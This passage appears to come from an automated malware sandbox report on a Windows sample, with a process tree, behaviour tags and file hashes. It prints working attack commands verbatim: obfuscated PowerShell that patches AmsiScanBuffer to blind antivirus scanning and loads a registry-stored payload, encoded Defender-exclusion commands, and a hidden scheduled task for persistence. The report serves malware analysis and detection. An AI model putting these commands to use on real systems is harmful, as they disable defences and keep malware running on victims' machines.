$_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+'t'+''+'e'+'m'+'.'+'d'+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+'of'+'t'+''+'.'+'Wi'+'n'+'32'+[Char](46)+'U'+[Char](110)+''+'s'+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+'a'+'ti'+[Char](118)+'e'+'M'+''+'e'+''+'t'+''+'h'+''+'o'+''+[Char](100)+''+'s'+'');$krEFWrOTZxAqdk=$orHlKjXxHkKZp.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+'es'+[Char](115)+'',[Reflection.BindingFlags]('Pu'+'b'+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+'t'+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BgYZyGLzmSJFYnabOmG=cAYNCcTcmszh @([String])([IntPtr]);$xgYazgiQqexNSeZQFSfYqL=cAYNCcTcmszh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JgZzlOoKcMA=$orHlKjXxHkKZp.GetMethod('G'+[Char](101)+''+'t'+'M'+[Char](111)+'dule'+'H'+''+'a'+''+'n'+''+'d'+'le').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+'2'+''+[Char](46)+''+'d'+''+'l'+''+'l'+'')));$hAoRtxmFIJJPmG=$krEFWrOTZxAqdk.Invoke($Null,@([Object]$JgZzlOoKcMA,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$RidjnyUtggZheBinS=$krEFWrOTZxAqdk.Invoke($Null,@([Object]$JgZzlOoKcMA,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+'t'+'')));$LDmguuO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hAoRtxmFIJJPmG,$BgYZyGLzmSJFYnabOmG).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+'.'+'dll');$MlHPDqffQVTAqsEKk=$krEFWrOTZxAqdk.Invoke($Null,@([Object]$LDmguuO,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+'c'+''+[Char](97)+'nB'+'u'+'ff'+[Char](101)+''+'r'+'')));$krydgFXIbM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RidjnyUtggZheBinS,$xgYazgiQqexNSeZQFSfYqL).Invoke($MlHPDqffQVTAqsEKk,[uint32]8,4,[ref]$krydgFXIbM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MlHPDqffQVTAqsEKk,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RidjnyUtggZheBinS,$xgYazgiQqexNSeZQFSfYqL).Invoke($MlHPDqffQVTAqsEKk,[uint32]8,0x20,[ref]$krydgFXIbM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$77s'+'t'+''+'a'+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUA2⤵
- Command and Scripting Interpreter: PowerShell
PID:2308 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tsOUPQFYdYon{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KxpGLIadlmRrqI,[Parameter(Position=1)][Type]$onNrDsZeZy)$HOSCMNXOzSD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+'e'+[Char](109)+'or'+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'ass,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+'i'+'Cl'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$HOSCMNXOzSD.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+'p'+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+'l'+''+[Char](78)+'am'+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$KxpGLIadlmRrqI).SetImplementationFlags('R'+'u'+'nt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+'g'+'e'+''+[Char](100)+'');$HOSCMNXOzSD.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'wS'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$onNrDsZeZy,$KxpGLIadlmRrqI).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+','+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'ed');Write-Output $HOSCMNXOzSD.CreateType();}$yJDQbttomEaNQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'ll')}).GetType(''+'M'+'ic'+[Char](114)+''+[Char](111)+'s'+'o'+''+[Char](102)+'t'+[Char](46)+''+'W'+''+'i'+''+'n'+'32'+[Char](46)+'U'+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+'h'+''+[Char](111)+'ds');$CtAPTgbxuQlPLg=$yJDQbttomEaNQ.GetMethod(''+'G'+''+'e'+''+[Char](116)+'Pr'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](83)+'t'+'a'+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TOUYLBEAQaNxAOLLOuY=tsOUPQFYdYon @([String])([IntPtr]);$fPVRuOQGrHUKxodBHHnQjx=tsOUPQFYdYon @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hlOKPonNxho=$yJDQbttomEaNQ.GetMethod(''+[Char](71)+'etM'+[Char](111)+'dul'+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+'e'+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$duorpEbUltsSrA=$CtAPTgbxuQlPLg.Invoke($Null,@([Object]$hlOKPonNxho,[Object]('L'+'o'+''+'a'+''+'d'+''+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$lTGwLmuePNEIhTopE=$CtAPTgbxuQlPLg.Invoke($Null,@([Object]$hlOKPonNxho,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'ct')));$DDxyYFD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($duorpEbUltsSrA,$TOUYLBEAQaNxAOLLOuY).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$ItWwNTSkFKcfPZlSY=$CtAPTgbxuQlPLg.Invoke($Null,@([Object]$DDxyYFD,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+'B'+'u'+[Char](102)+'f'+[Char](101)+'r')));$tnvvVBUDBh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lTGwLmuePNEIhTopE,$fPVRuOQGrHUKxodBHHnQjx).Invoke($ItWwNTSkFKcfPZlSY,[uint32]8,4,[ref]$tnvvVBUDBh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ItWwNTSkFKcfPZlSY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lTGwLmuePNEIhTopE,$fPVRuOQGrHUKxodBHHnQjx).Invoke($ItWwNTSkFKcfPZlSY,[uint32]8,0x20,[ref]$tnvvVBUDBh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+'s'+''+[Char](116)+'a'+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:3648 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4892
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C:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exeC:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2936 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe3⤵PID:2456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1384
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3060
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1540
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1896
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1904
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1468
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2252
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Modifies data under HKEY_USERS
PID:2556
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2060
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:700
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3304 -
C:\Users\Admin\AppData\Local\Temp\1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe"C:\Users\Admin\AppData\Local\Temp\1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1444
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C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit4⤵
- System Location Discovery: System Language Discovery
PID:3124 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:72
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA028.tmp.bat""4⤵
- System Location Discovery: System Language Discovery
PID:1968 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1372
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C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4152
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C:\Users\Admin\AppData\Roaming\WinUpdate.exe"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4616 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\wrmeaz.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:5012 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:3620
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\wrmeaz.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:4472 -
C:\Users\Admin\AppData\Local\Temp\wrmeaz.exe"C:\Users\Admin\AppData\Local\Temp\wrmeaz.exe"8⤵
- Executes dropped EXE
PID:3532
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rjsztz.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:4164 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:1256
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\rjsztz.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:4104 -
C:\Users\Admin\AppData\Local\Temp\rjsztz.exe"C:\Users\Admin\AppData\Local\Temp\rjsztz.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4652 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:3464
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\olpylu.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:4152 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:4468
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\olpylu.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:3416 -
C:\Users\Admin\AppData\Local\Temp\olpylu.exe"C:\Users\Admin\AppData\Local\Temp\olpylu.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3468
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3840
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:3920
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4024
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2168
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:828
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1412
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3476
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3652
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3028
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
PID:960
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5faa2dd409bb88491b6c57728dbf8a673
SHA16095f074030e7599cb1f9c251c62e2c0d1fb7418
SHA256955d02ee998eae94048f3a1b33c8eedc73276ef0a179efb1cebc970d9af0df09
SHA5120ab69299400998bc05fe7074b2c9b01162db9343deab22b502a26c47a054d2ca42918908fcc77a8cc5d275c17635508d546c3f65d857f37a7331ec9c32a766ce
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Filesize
15KB
MD54e17bd1a855c665d755cca8c76a4ed1e
SHA184bf56db8498ab807beaea9bc93923a91ccb7807
SHA2569248b7e4a9c70ace3ff342d2b60f738dbe9e3acf0f023a32b273c87a8243d464
SHA512513da9741da1be076179d88fcbde76e91bd9799ed64d57f7fdc76f6c97e8e593e9fc4f0a2c40ec74db08b25ab141ec7586bb72a7e2fca646d3e0dbb3f72beae9
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Filesize
15KB
MD5778c85a0b11188a54ad04220551b398b
SHA199ecfbbcf22d10c88f0fddbe918036b76726f85a
SHA25612aecdb935ccfeda3b99550ff1b9e65df7c1b7f5108c9e965046d604411cbcc3
SHA512e1c937496e1ab86fff2ac2a247be5eed17aa2ab27cd143205528cfd319c986664a802c174a20af9d1c72fe746fc4c8b250607baaeeb5e5797e41becbfdfbd9a6
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Filesize
944B
MD56344564097353c8e7e68991fffa80d88
SHA12ac4d108a30ec3fbd2938b0563eb912415ea7c62
SHA256d0af6d69f8bc0c98e9fb61dead6327bbc8b4f5292529313515382d8f883de0da
SHA512e2b37a9001a91cb05483d72f88bd70a61ca5655939c2290fd1580710eec9d8d26a5fedbcb5223f5413b5dcc46f1d8b6b408e57be0e4ad4b37b55cbce9023a303
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Filesize
45KB
MD5a44a767dba207c04c74afae17144f787
SHA1fa14f38216e259be5b181c825719f1c864691a5f
SHA25626eaa5bce06cadc54cb4990fabb1b9150966ef720b07a836ef2bd456360246b2
SHA5127dfd6e182ac9f16b29843cb0eabaa7db02fa3ee59c65c7822d9213859c4a7185d0fdcd1d51747a11b4fdd3a7947ea14fdc7fa583c13b4d3edf50b8d6d3178619
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Filesize
163KB
MD51a7d1b5d24ba30c4d3d5502295ab5e89
SHA12d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
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Filesize
95KB
MD5bcbcb79606c1833ccef6ca77a7535936
SHA10fcbf9cd7ad1963736afac84cc56069654df3d42
SHA256ce13808dad8149017d9dbc146681a99cd79aaa1288f890c9120a47c347c9db29
SHA51220a3aa8046c8e3c93a9a55aa3750088da247abb11444883f8463aef0d347520c697067b5a8491de204310660cdb632b828d58898e4f65fd385cb1ec2da752391
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Filesize
153B
MD5ff33c10e633ddfaba05424ce77f2f345
SHA1c0ce835afca715bb7238f97082a0fb71508a79fe
SHA2564fe9a24b9ceb6b45e6e2e56e8638aeb65d274f26fc9d9007c5fff0884bcb6fe7
SHA512a38b9dadc35592c792265096b026a465762bfa5fb5c37baed630aa190c686e1bdaa659c14474c7b60848884cb1dd24b4214a4a0ed81e4fdcf1e76e60bd999803
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Filesize
661KB
MD52513e26d91a03e8fbcbfd8c3f4f11f80
SHA1dabc1fc063c86d28d6b3313cbed51334bc90a0e0
SHA256c62bc8ed1192add4a2ce16af0fe67dfe6a061b85c1176648a3ad9856b1744966
SHA51256b55eefc9277ba83ba1f1b7fad87166a6d5b85266be5f4a3f35cd9af36a0f0c2c51011d3f6ed5acbf8f710fe7858ce81dc09878b1f791230795f0088f29e404
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
